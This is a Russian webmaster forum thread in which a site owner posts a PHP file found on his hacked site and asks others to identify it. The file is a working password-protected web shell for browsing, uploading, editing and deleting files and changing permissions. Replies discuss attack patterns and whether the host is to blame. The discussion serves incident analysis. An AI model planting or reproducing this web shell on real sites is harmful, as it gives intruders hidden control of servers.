Опознать шелл

12
ШO
На сайте с 27.12.2005
Offline
375
1170

Нашел вот такой милый и удобный файлик, подозреваю, что это обычный модуль веб-администрирования от какого-то движка. Соответственно лицо, его залившее, скорее всего сломать ничего не в состоянии, и ноги растут напрямик от хостера, а файлик сунули для отвода глаз.

<?php


$USER="ahmuda";
$PASS="ahmuda";

$a=@$_REQUEST['a'];

function formlogin(){
global $PHP_SELF;
echo "<FORM METHOD=POST ACTION='".basename($PHP_SELF)."'>User: <INPUT TYPE=\"text\" NAME=\"user\"><BR><BR>Pass: <INPUT TYPE='password' NAME='pass'><BR><BR><INPUT TYPE=submit value='Отправить'></FORM>";
die();
}

function login($data){
global $USER, $PASS, $PHP_SELF;
if(@$data['user']==$USER && @$data['pass']==$PASS){
setcookie("user", $USER);
Redirect();
exit;
} else {
formlogin();
}
}

function h(){
echo "<html><meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\" />
<style> \n body,td,th{font-family:Verdana; font-size:11px;} \n a{color:#000000} \n .dir{font-weight:bold;} \n </style> \n <body>";
}

function PrintFormNewDir($dir){
global $PHP_SELF;
echo "<FORM METHOD=POST ACTION=\"".basename($PHP_SELF)."\"><INPUT TYPE=\"hidden\" NAME=\"a\" value='dir_create'><INPUT TYPE=\"hidden\" NAME=\"dir\" value='".$dir."'>Новая папка: <INPUT TYPE=\"text\" NAME=\"dirname\"> <INPUT TYPE=\"submit\" value=\"Создать\"></FORM>";
}

function PrintFormNewFile($dir){
global $PHP_SELF;
echo "<FORM METHOD=POST ACTION=\"".basename($PHP_SELF)."\"><INPUT TYPE=\"hidden\" NAME=\"a\" value='file_create'><INPUT TYPE=\"hidden\" NAME=\"dir\" value='".$dir."'>Новый файл: <INPUT TYPE=\"text\" NAME=\"filename\"> <INPUT TYPE=\"submit\" value=\"Создать\"></FORM>";
}

function PrintFormUploadFile($dir){
global $PHP_SELF;
echo "<FORM METHOD=POST ACTION=\"".basename($PHP_SELF)."\" enctype='multipart/form-data'><INPUT TYPE=\"hidden\" NAME=\"a\" value='file_upload'><INPUT TYPE=\"hidden\" NAME=\"dir\" value='".$dir."'>Загрузка файла: <INPUT TYPE=file NAME=file> <INPUT TYPE=\"submit\" value=\"Загрузить\"></FORM>";
}

function AllDirFiles($dir="."){
if(!$dir) $dir=".";
if(strpos($dir, "/")!==false){
$parent_dir=GetParentDir($dir);
} else {
$parent_dir="";
}
h();
PrintFormNewDir($dir);
PrintFormNewFile($dir);
PrintFormUploadFile($dir);
echo "<table border=1 cellpadding=5 cellspacing=0>";
if($parent_dir) echo "<tr><td colspan=5><A HREF=\"?dir=".$parent_dir."\" class=dir>..</A>";
$html_dir="";
$html_file='';
$dirs=array();
$files=array();
$d=opendir($dir);
while($file=readdir($d)){
if($file=="." || $file=="..") continue;
if(is_dir($dir."/".$file)) {
$dirs[]=$file;
} else {
$files[]=$file;
}
}
closedir($d);
asort($dirs);
asort($files);
foreach ($dirs as $file){
$perms = fileperms($dir."/".$file);
$info=array(0,0,0,0);
$info[1] += (($perms & 0x0100) ? 4 : 0);
$info[1] += (($perms & 0x0080) ? 2 : 0);
$info[1] += (($perms & 0x0800) ? 1 : 0 );
$info[2] += (($perms & 0x0020) ? 4 : 0);
$info[2] += (($perms & 0x0010) ? 2 : 0);
$info[2] += (($perms & 0x0400) ? 1 : 0);
$info[3] += (($perms & 0x0004) ? 4 : 0);
$info[3] += (($perms & 0x0002) ? 2 : 0);
$info[3] += (($perms & 0x0200) ? 1 : 0);
echo "<tr><td><A HREF=\"?dir=".$dir."/".$file."\" class=dir>".$file."</A></td><td>".implode("",$info)."<td><A HREF=\"?a=dir_edit_perm&dir=".$dir."/".$file."\">Ch. Perm</A></td><td><A HREF=\"?a=dir_edit_name&dir=".$dir."/".$file."\">Edit</A></td><td><a href=\"?a=dir_del&dir=".$dir."/".$file."\" onclick=\"return confirm('Удалить?');\">Del</a></td><td>&nbsp;</tr>";
}
foreach ($files as $file){
$stat = stat($dir."/".$file);
echo "<tr><td>".$file."</td><td><A HREF=\"?a=file_view&file=".$dir."/".$file."\" target=_blank>View</A></td><td><A HREF=\"?a=file_edit_name&file=".$dir."/".$file."\">Edit name</A></td><td><A HREF=\"?a=file_edit_content&file=".$dir."/".$file."\">Edit content</A></td><td><A HREF=\"?a=file_del&file=".$dir."/".$file."\" onclick=\"return confirm('Удалить?');\">Del</A></td><td>".number_format(round($stat[7]/1024), 2, '.', ' ')." Кб<br>".date('d.m.Y H:i', $stat[9])."</td></tr>";
}
echo "</table>";
}

function Redirect($dir=''){
global $PHP_SELF;
Header("Location: ".basename($PHP_SELF)."?dir=".$dir);
}

function GetParentDir($file){
return substr($file, 0, strrpos($file, "/"));
}

function DirCreate($dirname, $parent_dir){
mkdir($parent_dir."/".$dirname);
Redirect($parent_dir);
}

function DirEditName($dir){
global $PHP_SELF;
h();
$parent_dir=GetParentDir($dir);
$dirname=substr($dir, strrpos($dir, "/")+1);
echo "<FORM METHOD=POST ACTION=\"".basename($PHP_SELF)."\"><INPUT TYPE=\"hidden\" NAME='a' value='dir_save_name'><INPUT TYPE=\"hidden\" NAME='dir' value='".$dir."'><INPUT TYPE=\"text\" NAME=\"new_name\" value='".$dirname."'><BR><BR><INPUT TYPE=\"submit\" value='Сохранить'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<INPUT TYPE='button' value='Отмена' onclick=\"self.location.href='?dir=".$parent_dir."'\"></FORM>";
}

function DirSaveName($dir, $new_dir_name){
$parent_dir=GetParentDir($dir);
rename($dir, $parent_dir."/".$new_dir_name);
Redirect($parent_dir);
}

function DirEditPerm($dir){
global $PHP_SELF;
h();
$perm="";
$parent_dir=GetParentDir($dir);
echo "<FORM METHOD=POST ACTION=\"".basename($PHP_SELF)."\"><INPUT TYPE=\"hidden\" NAME='a' value='dir_save_perm'><INPUT TYPE=\"hidden\" NAME='dir' value='".$dir."'><INPUT TYPE=\"text\" NAME=\"new_perm\" value=''><BR><BR><INPUT TYPE=\"submit\" value='Сохранить'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<INPUT TYPE='button' value='Отмена' onclick=\"self.location.href='?dir=".$parent_dir."'\"></FORM>";
}

function DirSavePerm($dir, $new_perm){
$parent_dir=GetParentDir($dir);
chmod($dir, $new_perm);
Redirect($parent_dir);
}

function DirDel($dir){
$parent_dir=GetParentDir($dir);
rmdir($dir);
Redirect($parent_dir);
}

function FileCreate($filename, $parent_dir){
$f=fopen($parent_dir."/".$filename, "w");
fclose($f);
Redirect($parent_dir);
}

function FileUpload($file, $parent_dir){
$upload_dir= $parent_dir=="." ? "" : $parent_dir."/";
move_uploaded_file($file['tmp_name'], $upload_dir.$file['name']);
Redirect($parent_dir);
}

function FileView($file){
h();
echo "<PRE>".htmlspecialchars(file_get_contents($file))."</PRE>";
echo "<INPUT TYPE=button value='Закрыть' onclick=\"self.close();\">";
die();
}

function FileEditContent($file){
global $PHP_SELF;
h();
$parent_dir=GetParentDir($file);
echo "<FORM METHOD=POST ACTION=\"".basename($PHP_SELF)."\"><INPUT TYPE=\"hidden\" NAME='a' value='file_save_content'><INPUT TYPE=\"hidden\" NAME='file' value='".$file."'><TEXTAREA NAME='content' style=\"width:100%; height:90%;\">".htmlspecialchars(file_get_contents($file))."</TEXTAREA><BR><BR><INPUT TYPE=\"submit\" value='Сохранить'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<INPUT TYPE='button' value='Отмена' onclick=\"self.location.href='?dir=".$parent_dir."'\"></FORM>";
}

function FileSaveContent($file, $content){
$f=fopen($file, "w");
fwrite($f, stripslashes($content));
fclose($f);
$parent_dir=GetParentDir($file);
Redirect($parent_dir);
}

function FileEditName($file){
global $PHP_SELF;
h();
$parent_dir=GetParentDir($file);
$filename=substr($file, strrpos($file, "/")+1);
echo "<FORM METHOD=POST ACTION=\"".basename($PHP_SELF)."\"><INPUT TYPE=\"hidden\" NAME='a' value='file_save_name'><INPUT TYPE=\"hidden\" NAME='file' value='".$file."'><INPUT TYPE=\"text\" NAME=\"new_name\" value='".$filename."'><BR><BR><INPUT TYPE=\"submit\" value='Сохранить'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<INPUT TYPE='button' value='Отмена' onclick=\"self.location.href='?dir=".$parent_dir."'\"></FORM>";
}

function FileSaveName($file, $new_file_name){
$parent_dir=GetParentDir($file);
rename($file, $parent_dir."/".$new_file_name);
Redirect($parent_dir);
}

function FileDel($file){
$parent_dir=GetParentDir($file);
unlink($file);
Redirect($parent_dir);
}



if(!@$_COOKIE['user']){
login($_POST);
}

switch($a){
case "dir_create":
DirCreate($_POST['dirname'], $_POST['dir']);
break;

case "dir_edit_name":
DirEditName($_GET['dir']);
break;

case "dir_save_name":
DirSaveName($_POST['dir'], $_POST['new_name']);
break;

case "dir_edit_perm":
DirEditPerm($_GET['dir']);
break;

case "dir_save_perm":
DirSavePerm($_POST['dir'], $_POST['new_perm']);
break;

case "dir_del":
DirDel($_GET['dir']);
break;

case "file_view":
FileView($_GET['file']);
break;

case "file_edit_content":
FileEditContent($_GET['file']);
break;

case "file_save_content":
FileSaveContent($_POST['file'], $_POST['content']);
break;

case "file_edit_name":
FileEditName($_GET['file']);
break;

case "file_save_name":
FileSaveName($_POST['file'], $_POST['new_name']);
break;

case "file_create":
FileCreate($_POST['filename'], $_POST['dir']);
break;

case "file_upload":
FileUpload($_FILES['file'], $_POST['dir']);
break;

case "file_del":
FileDel($_GET['file']);
break;

default:
AllDirFiles($_GET['dir']);
break;
}

?>

Кто узнал что это? :) На самопис уж совсем не похоже.

SeVlad
На сайте с 03.11.2008
Offline
1609
#1
ШАНС-ON:
скорее всего сломать ничего не в состоянии

Ну как сказать ;)

function DirDel($dir){
$parent_dir=GetParentDir($dir);
rmdir($dir);
Redirect($parent_dir);

function FileCreate($filename, $parent_dir){
$f=fopen($parent_dir."/".$filename, "w");
fclose($f);
Redirect($parent_dir);
}

function FileUpload($file, $parent_dir){
$upload_dir= $parent_dir=="." ? "" : $parent_dir."/";
move_uploaded_file($file['tmp_name'], $upload_dir.$file['name']);
Redirect($parent_dir);
}
Делаю хорошие сайты хорошим людям. Предпочтение коммерческим направлениям. Связь со мной через http://wp.me/P3YHjQ-3.
ШO
На сайте с 27.12.2005
Offline
375
#2
SeVlad:
Ну как сказать

Ну так сначала сломать надо, чтоб загрузить этот шелл на хост ) То что через него можно загружать я знаю, я заходил в него под логином и паролем )))

SeVlad
На сайте с 03.11.2008
Offline
1609
#3
ШАНС-ON:
Ну так сначала сломать надо, чтоб загрузить этот шелл на хост

Ну ты как-то определись - ещё надо взломать или он уже залит :)

ШАНС-ON:
Соответственно лицо, его залившее, скорее всего сломать ничего не в состоянии,
RAS
На сайте с 27.11.2005
Offline
126
RAS
#4

Алгоритм атаки обычно прост - ищется "дырка", вставляется код для загрузки в несколько файлов или все (кому как нравится) и далее уже шеллами прощупывется сервер :)

Администрируем сервера, впс, вдс. Ускоряем загрузку сайтов - DLE, Word Press, Joomla, Modx... Настраиваем безопасность. Ручная чистка rootkit/malware/вирусов. (/ru/forum/867860) Разработка - shell/bash/sh/python/perl.
ШO
На сайте с 27.12.2005
Offline
375
#5
SeVlad:
Ну ты как-то определись - ещё надо взломать или он уже залит :)

Все как обычно, мобильный редирект и этот файл. Есть подозрение на хостера, что мобильный редирект сунули они, а шелл запихнули для вида, типа вон даже шелл у тебя, это хаккеры)) В логах чисто, но там всегда чисто - затирают.

N
На сайте с 06.05.2007
Offline
419
#6

ШАНС-ON, реально непонятно какой ответ вы хотели получить.

Ну да, если в коде забит пароль и подобные функции, то это скорее webshell, чем модуль для удобного администрирования и устранения проблем.

Дальше-то что ? В чем будет ваш вывод ? Байты не пахнут. Шелл - это шелл. Ничего из этого не следует.

Кнопка вызова админа ()
SeVlad
На сайте с 03.11.2008
Offline
1609
#7
ШАНС-ON:
мобильный редирект и этот файл.

Мобильный редирект - это наверняка следствие этого файла. Он, в свою очередь, может быть следствием взлома. Ну как минимум несанкционированного доступа.

Ты глобально-то чего хочешь? Наехать на хостера? Найти редирект?

ШO
На сайте с 27.12.2005
Offline
375
#8
netwind:
реально непонятно какой ответ вы хотели получить.

Данный код является ли частью какого либо распространенного движка, либо часто встречающимся готовым решением? Или самопис?

SeVlad
На сайте с 03.11.2008
Offline
1609
#9
ШАНС-ON:
Данный код является ли частью какого либо распространенного движка,

Сомневаюсь. Нормальные двиги не хранят пароли доступа в одном файле с обработчиками пост-запросов, и тем более в открытом виде. Даже шелы их шифруют :)

Но вполне возможно - это часть какого-то небезопасного самописного движка.

ШO
На сайте с 27.12.2005
Offline
375
#10
netwind:
Шелл - это шелл. Ничего из этого не следует.

На мой взгляд следует. Если человек использует готовые решения, то скорее всего школьник, либо и взлома не было, а виноват кто-то из сотрудников, у кого есть доступ. Если же решение никто ранее не видел и оно не сильно распространено, то это, возможно, самопис, что склоняет чашу весов в пользу именно взлома.

---------- Добавлено 24.04.2015 в 19:48 ----------

SeVlad:
Но вполне возможно - это часть какого-то небезопасного самописного движка.

Просто раньше после взломов шеллов всегда было напихано штук 5-6 для гарантии, типа дыру залатают, 3 или 4 шелла найдут, а один вдруг да и останется. И все шеллы имели англ интерфейс, а тут всего один залили, да еще с непалевным именем filemanager.php )))) да еще и русскоязычный. Вот мне все это и странно)

12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий